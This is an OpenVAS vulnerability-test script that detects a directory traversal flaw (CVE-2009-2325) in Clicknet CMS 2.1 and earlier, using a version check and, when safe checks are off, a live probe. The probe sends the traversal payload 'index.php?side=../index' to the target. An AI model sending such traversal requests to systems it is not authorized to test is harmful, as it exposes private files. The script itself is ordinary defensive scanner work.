###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_clicknet_cms_dir_trav_vuln.nasl 3290 2009-07-08 13:16:24Z jul $
#
# Clicknet CMS 'index.php' Directory Traversal Vulnerability
#
# Authors:
# Nikita MR <rnikita@secpod.com>
#
# Copyright:
# Copyright (c) 2009 Intevation GmbH, http://www.intevation.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_id(800903);
  script_version("Revision: 1.0");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"risk_factor", value:"Medium");
  script_cve_id("CVE-2009-2325");
  script_name("Clicknet CMS 'index.php' Directory Traversal Vulnerability");
  desc = "

  Overview: This host has Clicknet CMS installed and is prone to Directory
  Traversal vulnerability.

  Vulnerability Insight:
  The flaw is due to error in 'side' parameter in index.php which is not
  adequately sanitised that may lead to directory traversal attacks.

  Impact:
  Successful attacks will let the attackers to read arbitrary files via a
  '..' (dot dot) sequences.

  Impact level: Application

  Affected Software/OS:
  Clicknet CMS version 2.1 and prior.

  Fix: No solution or patch is available as on 08th July, 2009. Information
  regarding this issue will be updated once the solution details are available.
  For updates refer, http://cms.clicknet.dk/

  References:
  http://secunia.com/advisories/35607
  http://www.milw0rm.com/exploits/9037
  http://www.vupen.com/english/advisories/2009/1736

  CVSS Score:
    CVSS Base Score     : 5.0 (AV:N/AC:L/Au:NR/C:P/I:N/A:N)
    CVSS Temporal Score : 4.5
  Risk factor: Medium";

  script_description(desc);
  script_summary("Check for Attack and version of Clicknet CMS");
  script_category(ACT_MIXED_ATTACK);
  script_copyright("Copyright (C) 2009 Intevation GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_clicknet_cms_detect.nasl");
  exit(0);
}


include("http_func.inc");
include("version_func.inc");

clickPort = get_http_port(default:80);
if(!clickPort){
  exit(0);
}

clickVer = get_kb_item("www/" + clickPort +"/Clicknet-CMS");
clickVer = eregmatch(pattern:"^(.+) under (/.*)$", string:clickVer);

if(clickVer[2] != NULL && !safe_checks())
{
  sndReq = http_get(item:string(clickVer[2] + "/index.php?side=../index"),
                    port:clickPort);
  rcvRes = http_send_recv(port:clickPort, data:sndReq);

  if("DOCUMENT_ROOT" >< rcvRes && "explode" >< rcvRes)
  {
    security_warning(clickPort);
    exit(0);
  }
}

if(clickVer[1] == NULL){
  exit(0);
}

if(version_is_less_equal(version:clickVer[1], test_version:"2.1")){
  security_warning(clickPort);
}
